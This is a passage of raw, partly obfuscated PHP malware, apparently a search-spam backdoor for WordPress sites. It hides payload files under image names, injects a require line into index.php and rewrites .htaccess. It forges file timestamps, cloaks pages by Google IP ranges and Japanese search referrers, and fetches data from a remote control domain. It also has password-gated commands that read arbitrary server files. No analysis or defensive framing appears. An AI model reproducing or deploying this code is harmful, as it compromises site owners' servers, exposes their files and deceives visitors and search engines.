$hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; 
		$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}); 
 
	}else{ 
	 
		$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir)); 
		 
		$arrImgDir = array(); 
 
		getTypeImg($hostDir,$arrImgDir,1,'jpg,png,jpeg,gif,txt'); 
		 
	 
		if(count($arrImgDir)){ 
			foreach($arrImgDir as $key=>$vs){ 
			 
 
				list($tmepImgType,$trmeyImgName) = explode('#name#',$vs); 
				$installFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType; 
				while(file_exists($installFile)){ 
					$installFile = $installFile.'-'; 
				} 
				 
				$logFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_ls.'. $tmepImgType; 
				while(file_exists($logFile)){ 
					$logFile = $logFile.'-'; 
				} 
				 
				$mbFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_mb.'. $tmepImgType; 
				while(file_exists($mbFile)){ 
					$mbFile = $mbFile.'-'; 
				} 
			} 
		} 
 
	 
		$arrphpDir = array(); 
 
		getTypeImg($hostDir,$arrphpDir,2,'php'); 
		 
		$i=1; 
		foreach($arrphpDir as $key=>$vs){ 
			 
				$fitime = filemtime($key); 
 
				list($tmepImgType,$trmeyImgName) = explode('#name#',$vs); 
				$tempMyVs = 'backupfile'.$i++; 
			 
				$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType; 
				while(file_exists($$tempMyVs)){ 
					$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs); 
				} 
				 
			 
			} 
	 
 
	 
	} 
	 
	 
	$installFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$installFile); 
	$logFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$logFile); 
	$mbFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$mbFile); 
	$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1); 
	$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2); 
	 
 
	$dirNames = dirname(__FILE__);   
 
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	 
 
	 
	 
	$r1 = '#(// \#l{2}ql{2}q\#arr_keybg)(.*?)(// \#l{2}ql{2}q\#arr_keyend)#s'; 
	$str = file_get_contents(__FILE__);	 
	shuffle($arr_key);	$rp1 = '';	foreach($arr_key as $vals){ 
		$rp1 .= '$arr_key[]="'. $vals .'";'. PHP_EOL;	} 
	 
	$str = preg_replace($r1, ''.  PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'', $str);	 
	$r0 = '#(/+keyjgbg)(.*?)(/+keyjgbgend)#s';	 
	$str = preg_replace($r0, ''. PHP_EOL .'define("KEYJG","'. rand(1,20) .'");'. PHP_EOL .''. PHP_EOL , $str);			 
	$r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';	 
	shuffle($arrKeywz);	 
	$rp2 = '';	 
	foreach($arrKeywz as $valpimg){ 
		$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL;	 
	} 
	 
	$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'', $str);	 
			 
	$r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s';	$strword = ''; 
	$arrWordOld = array(2,3,4,2,2,3,4,3,3,4);	$rp2 = ''; 
	for($i=0;$i<12;$i++){ 
		shuffle($arrWordOld);  
		foreach($arrWordOld as $vtemps) 
			$rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";';	} 
	 
	$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'', $str);		 
	$r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';	 
	shuffle($arrnametime);	 
	$rp2 = '';	 
	foreach($arrnametime as $valpimg){ 
		$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL;	 
	} 
	 
	$str = preg_replace($r3, ''. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'', $str);	 
			 
			 
	$r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';	 
	$arrABC = range('a','z');	 
	$strTemp1 = '';	 
	for($i=0;$i<100;$i++){ 
		shuffle($arrABC);  
		$strtemp = '';		 
		foreach($arrABC as $value){ 
			$strtemp .= $value;		 
		}	 
		 
		$strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL;	 
	} 
	 
	$str = preg_replace($r4, ''. PHP_EOL . $strTemp1  . PHP_EOL .'', $str);	 
	$r0 = '#(/+i{4}mbfilebg)(.*?)(/+i{4}mbfileend)#s';	 
	$str = preg_replace($r0, ''. PHP_EOL .'$mbFileName = \'/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png\';'. PHP_EOL .'$logFileName = \'/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png\';'. PHP_EOL .''. PHP_EOL , $str);			 
	$str = str_replace('/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png',$mbFile,$str); 
	$str = str_replace('/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png',$logFile,$str); 
	 
	file_put_contents(__FILE__, $str);	 
	// $indexstr = file_get_contents("../index.php");	$Indexruler = '#(/+installbg.*?/+installend)#s';	 
	// if($indexstr && preg_match($Indexruler,$indexstr)){ 
		// $indexstr = preg_replace($Indexruler, '//installbg'. PHP_EOL .'require("'.$httcReplace .'/install.php");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr);	}elseif($indexstr){ 
		// $indexstr = preg_replace('#<\?php#i', '<'.'?php'. PHP_EOL .'//installbg'. PHP_EOL .'require("'.$httcReplace .'/install.php");' . PHP_EOL .'//installend'. PHP_EOL, $indexstr, 1); 
	// } 
	 
	// @chmod("../index.php",0755);	 
	// file_put_contents("../index.php",$indexstr);	 
	 
	 
	 
	$UrlBaseDir = '';	$PreDir = $hostDir;	$RewriteOnDir = '';	 
	$strhtt = '';	if (file_exists("$PreDir.htaccess")){ 
		 
		$fhtacTime =  filemtime("$PreDir.htaccess"); 
		@chmod("$PreDir.htaccess",0755);		$strhtt = file_get_contents("$PreDir.htaccess");	} 
		 
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) 
	{ 
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	 
	}else{ 
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	 
	} 
		 
	$hzReplace = trim($_GET['hzui']); 
	if(1){ 
			 
			 
	$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		 
		$rsut = ''.PHP_EOL . 'RewriteRule ^'. '.*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL; 
		 
		$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ;		 
		 
		 
		if(preg_match($r1,$strhtt)){ 
			$strhtt = preg_replace($r1,$rsut,$strhtt,1);		}else{ 
			$strhtt = preg_replace($r2,$rsut2,$strhtt,1);		} 
			 
			 
		 
		if(JDT == 1 or JDT == 0){ 
			 
			file_put_contents("$PreDir.htaccess", $strhtt); 
			@touch("$PreDir.htaccess", $fhtacTime, $fhtacTime);    
			chmod($installFile, 0511); 
			chmod($installFile, 0404); 
			 
		} 
			 
			 
			 
	} 
	 
	 
	 
 
	if(isset($_GET["jgshu"]) && $_GET["jgshu"]){ 
		$str = str_replace('define("JGNUM","132");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str); 
		echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>"; 
	} 
	 
 
	 
	if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ 
		$str = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);	 
		echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>"; 
	}	 
	 
	 
	$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si'; 
	$str2 = preg_replace($r4, '', $str);	 
	 
	 
	$r4 = '#i{9}bg.*?i{9}end#si'; 
	$str2 = preg_replace($r4, '', $str2);	 
	 
	 
	$r4 = '#c{6}getbg.*?c{6}getend#si'; 
	$str2 = preg_replace($r4, '', $str2);	 
	 
	$r4 = '#c{6}getbg.*?c{6}getend#si'; 
	$str2 = preg_replace($r4, '', $str2);	 
	 
	preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut); 
	$backStr = $matchPut[1]; 
			 
 
	generate_dir_file($installFile); 
	generate_dir_file($logFile); 
	generate_dir_file($mbFile); 
	generate_dir_file($backupfile1); 
	generate_dir_file($backupfile2); 
 
	 
	file_put_contents($installFile, $str2); 
	 
	//moban 
	@chmod($mbFile,0755); 
 
	if(function_exists('copy')){ 
		unlink($mbFile); 
		copy('./moban.html',$mbFile); 
	}else{ 
		file_put_contents($mbFile,file_get_contents('./moban.html')); 
	} 
	 
	 
	$findexTime =  filemtime("$hostDir/index.php"); 
	$indexstr = file_get_contents("$hostDir/index.php"); 
	$Indexruler = '#(/+installbg.*?/+installend)#s';	 
	if($indexstr && preg_match($Indexruler,$indexstr)){ 
		$indexstr = preg_replace($Indexruler, '//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr);	 
		$indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr); 
	}elseif($indexstr){ 
		$indexstr = preg_replace('#<\?(php)?#i', '<'.'?'. PHP_EOL .'//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr, 1); 
		$indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr); 
	} 
	 
	 
	@chmod("$hostDir/index.php",0755);	file_put_contents("$hostDir/index.php",$indexstr); 
	@touch("$hostDir/index.php", $findexTime, $findexTime);    
 
		 
	$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15}; 
	 
	if($backStr){ 
		$backStr = '<'.'?php'.PHP_EOL .$backStr; 
	if(isset($backupfile1) && $backupfile1){ 
		if(file_put_contents($backupfile1,$backStr)) 
			$flagRdir1 = 1; 
		else 
			$flagRdir1 = 0; 
	} 
	 
	if(isset($backupfile2) && $backupfile2){ 
		if(file_put_contents($backupfile2,$backStr)) 
			$flagRdir2 = 1; 
		else 
			$flagRdir2 = 0; 
	} 
 
	} 
	 
	$mbstr = file_get_contents('./moban.html'); 
	 
	$dateArr = array(); 
	 
	 
	$arrTemps = explode('/',GETDOM); 
	$tpNum = count($arrTemps); 
	$dateArr['dom'] = $thisdom; 
	$dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; 
	$dateArr['installFile'] = $installFile; 
	$dateArr['mbFile'] = $mbFile; 
	$dateArr['logFile'] = $logFile; 
	$dateArr['htaccess'] = "$PreDir.htaccess"; 
	$dateArr['index'] = "{$PreDir}index.php"; 
	$dateArr['bao'] = $arrTemps[$tpNum-2]; 
 
	 
	if($backupfile1){ 
		$bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1); 
		$dateArr['backupfile1'] = $bfileurl1; 
	} 
	if($backupfile2){ 
		$bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2); 
		$dateArr['backupfile2'] = $bfileurl2; 
	} 
	 
	 
	@touch($installFile, $fitime, $fitime);    
	@touch(dirname($installFile), $fitime, $fitime);    
	@touch($mbFile, $fitime, $fitime);    
	@touch(dirname($mbFile), $fitime, $fitime);    
	@touch($backupfile1, $fitime, $fitime);    
	@touch(dirname($backupfile1), $fitime, $fitime);    
	@touch($backupfile2, $fitime, $fitime);  
	@touch(dirname($backupfile2), $fitime, $fitime);  
	 
	chmod($installFile, 0511); 
	chmod($installFile, 0404); 
	chmod($mbFile, 0511); 
	chmod($mbFile, 0404); 
	chmod($backupfile1, 0755); 
	chmod($backupfile2, 0755); 
 
 
	$dateArr['act'] = 'jc'; 
	$dateArr['dom'] = $_SERVER['HTTP_HOST']; 
	 
	$staus = backup_install($dateArr); 
	 
 
	 
	if($staus == '#ok#'){ 
		echo '<br/>backup ok!<br/>'; 
	} 
	 
	echo "install ok";	 
	 
	 
	echo "<br/>hzui ($hzReplace) modify ok!<br/>"; 
	echo "install ok<br/>";	 
	echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom; 
 
} 
 
 
//iiiimbfilebg 
$mbFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png'; 
$logFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png'; 
//iiiimbfileend 
 
 
if(isset($_GET["thmoban"]) && $_GET["thmoban"]){ 
	 
	$fitime = filemtime($mbFileName); 
	@chmod($mbFileName,0755); 
 
	if(function_exists('copy')){ 
		unlink($mbFileName); 
		copy('./moban.html',$mbFileName); 
	}else{ 
		file_put_contents($mbFileName,file_get_contents('./moban.html')); 
	} 
	 
	@touch(dirname($mbFileName), $fitime, $fitime);    
	@touch($mbFileName, $fitime, $fitime);  
	 
	chmod($mbFileName, 0511); 
	chmod($mbFileName, 0404); 
	echo 'ok!'; 
	 
} 
 
 
if(isset($_GET["jgshu"]) && $_GET["jgshu"]){ 
	$strDefault = file_get_contents(__FILE__);	 
	$strDefault = str_replace('define("JGNUM","132");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";} 
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){ 
	$strDefault = file_get_contents(__FILE__);	 
	$strDefault = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";} 
if(isset($_GET["moshi"])){ 
	 
	if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){ 
			echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>";			die();	} 
	 
	$strDefault = file_get_contents(__FILE__);	 
	 
	$r3='#(/{2}msbg)(.*?)(/{2}msend)#s'; 
	$rp2 = 'define("JDT","'.$_GET["moshi"].'");';	$strDefault=preg_replace($r3,''.PHP_EOL.$rp2.PHP_EOL.'',$strDefault);	 
	 
	$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";} 
	 
function deldir($dir){ 
  $dh=opendir($dir); 
  while ($file=readdir($dh)) { 
    if($file!="." && $file!="..") { 
      $fullpath=$dir."/".$file; 
      if(!is_dir($fullpath)) { 
          unlink($fullpath); 
      } else { 
          deldir($fullpath); 
      } 
    } 
  } 
  
  closedir($dh); 
  if(rmdir($dir)) { 
    return true; 
  } else { 
    return false; 
  } 
} 
	 
if(isset($_GET["del"]) && $_GET["del"]=='delete'){ 
	$mydir = dirname(__FILE__); 
	deldir($mydir); 
	echo '#ok#'; 
	die(); 
	// @unlink(__FILE__); 
} 
	 
if(isset($_POST["del"]) && $_POST["del"]=='delete'){ 
	$mydir = dirname(__FILE__); 
	deldir($mydir); 
	echo '#ok#'; 
	die(); 
	// @unlink(__FILE__); 
} 
 
if(isset($_GET["del"]) && $_GET["del"]=='myself'){ 
	@unlink(__FILE__); 
	echo '#ok#'; 
	die(); 
 
} 
 
if(isset($_POST["del"]) && $_POST["del"]=='myself'){ 
	@unlink(__FILE__); 
	echo '#ok#'; 
	die(); 
 
} 
// iiiiiiiiiend 
 
 
 
 
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ 
   $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};} 
$Arrrarr = array_flip($arrArrr); 
$stss = 'transferdm'; 
$stss2 = 'deliverym'; 
 
 
if(isset($_GET["gsitemap"])  &&  isset($_GET["mapnum"]) && $_GET["gsitemap"] && $_GET["mapnum"]){ 
	 
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	 
	if (! is_dir("sitemaps")) 
		mkdir("sitemaps", 0755);	 
	global $gnumber; 
	$gnumber = 1; 
	$bgNum = (int)trim($_GET["gsitemap"]); 
	$mapnum = (int)trim($_GET["mapnum"]); 
 
	if($bgNum > FNUM) 
	   die("The Number Must Lower Then " . FNUM); 
    
	$arrNumTemp = getMapNum($bgNum,$mapnum); 
 
	foreach($arrNumTemp as $vss){ 
		 
		$vals = "id$vss.php";	 
 
	 
		$idUrl =  GETDOM . "gpage.php?getid=$vss"; 
		$tempIdStr = curl_get_from_webpage($idUrl,'',5); 
		$arrId = explode(',',$tempIdStr); 
		// echo "<pre>"; 
		// print_r($arrId); 
		// die(); 
		if(count($arrId) < 100){ 
			echo "g sitemap fail<br/>"; 
			die(); 
		} 
		 
		echo $vals."<br/>"; 
 
		if($gnumber == 1){ 
			if(JDT == 1){ 
				gsitemap($arrId,2,1);			}else{ 
				gsitemap($arrId,1,2);			} 
		}else{ 
			 
			if(JDT == 1){ 
				gsitemap2($arrId,2,1);			}else{ 
				gsitemap2($arrId,1,2);			} 
			 
		} 
		 
		unset($arrId,$tempArr1,$tempArr2);	} 
	 
} 
 
//iiiimbfilebg 
$mbFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png'; 
$logFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png'; 
//iiiimbfileend 
 
 
 
 
 
if(isset($_POST["check"]) && md5($_POST["check"])=='b6772c68627f804a9578152ee90f5b0c'){$fileArr = array();	$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./.htaccess")){$fileArr['htac'] = filesize("./.htaccess");}else{$flag = 0;$fileArr['htac'] = -1;}if(file_exists($mbFileName)){$fileArr['moban'] = filesize($mbFileName);}else{$flag = 0;$fileArr['moban'] = -1;}if(file_exists($logFileName)){	$fileArr['log'] = filesize($logFileName);}else{$flag = 0;$fileArr['log'] = -1;}if(file_exists($rifilename)){$fileArr['install'] = filesize($rifilename);}else{$flag = 0;$fileArr['install'] = -1;}echo 'ok---'. serialize($fileArr) .'---';die();}if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){ 
$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();} 
	 
if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){ 
	die();} 
if(JDT==2){ 
	 
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){ 
		$tempPid = '';		 
		 
		$r2='#^'. BZPRO .'(\d+)[-/]#i';		$r3='#[-/]'. BZPRO .'(\d+)[-/]#i';		 
		if(preg_match($r2,$UrlParent,$matches2)){ 
			if(isset($matches2[1])) 
				$tempPid = $matches2[1];		}else{ 
			 
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1])) 
				$tempPid = $matches13[1];		} 
		 
		 
		if($tempPid){ 
			$_GET['id']= $tempPid;		 
		} 
		 
	} 
	 
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ 
		 
		$tempSid = ''; 
		$tempPid = ''; 
		$UrlParent = $_GET['keyword']; 
		 
		$r2='#^'. BZPRO .'(\d+)[-/]#i';		$r3='#[-/]'. BZPRO .'(\d+)[-/]#i';		 
		if(preg_match($r2,$UrlParent,$matches2)){ 
			if(isset($matches2[1])) 
				$tempPid = $matches2[1];		}else{ 
			 
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1])) 
				$tempPid = $matches13[1];		} 
		 
		 
		if($tempPid){ 
			$_GET['id']= $tempPid;		 
		} 
} 
 
function getRandStr(){ 
	 
	$arrABC = range('a','z');	shuffle($arrABC);  
	$randNum = rand(4,6);	 
	$str = implode('',array_slice($arrABC,0,$randNum));	 
	return $str;} 
$iszz = isCrawler();	 
$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.15.255') ,   array('66.249.64.0' , '66.249.95.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') ,  array('64.68.80.0' , '64.68.95.255'),  array('205.164.0.0' , '205.164.63.255') ,  array('50.117.0.0' , '50.117.127.255') ,  array('23.104.0.0' , '23.104.255.255') ,  array('23.80.0.0' , '23.80.255.255') ,  array('104.132.0.0' , '104.132.255.255') ,  array('104.134.0.0' , '104.134.255.255') ,  array('104.135.0.0' , '104.135.255.255') ,  array('38.99.82.0' , '38.99.251.255') );  
$localIp = get_real_ip();	 
$is_or_no = is_ip($localIp,$ipRanges); 
$referer = $_SERVER["HTTP_REFERER"];  
$russ = '#(google.co.jp|yahoo.co.jp|bing|docomo.ne.jp)#i'; 
 
 
if(isset($_GET["id"])) 
	$id = $_GET["id"];else{ 
	if($iszz or $is_or_no == true or preg_match($russ, $referer)){ 
		$fLogTime =  filemtime($mbFileName); 
		$rqurl = str_replace("'","\'",$_SERVER['REQUEST_URI']); 
		if(file_exists($logFileName)){ 
			$arrUrlId = unserialize(file_get_contents($logFileName)); 
		}else{ 
			$arrUrlId = array(); 
		} 
		 
		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ 
				$id  = $arrUrlId[$rqurl];		 
		}else{ 
			$arrUrlId[$rqurl] = getRandId(); 
			$id = $arrUrlId[$rqurl]; 
			file_put_contents($logFileName,serialize($arrUrlId)); 
			@touch(dirname($logFileName), $fLogTime, $fLogTime);  
			@touch($logFileName, $fLogTime, $fLogTime);     
		} 
 
	} 
} 
 
 
$resid = '#^\d+$#'; 
if(!preg_match($resid,$id)){ 
	$id = 0; 
} 
 
$id23 = $id; 
 
$numArr_key = count($arr_key); 
$siteid = MSID; 
$siteAID = $siteid. '-' .$id23; 
 
if($id23 && $siteid){ 
	 
	 
	if(isset($_SERVER["HTTP_REFERER"])){ 
	 
		 
	 
		if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){ 
			 
				$rsdom = '#^http://www\.[^/+]/$#si'; 
		 
		$jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";	 
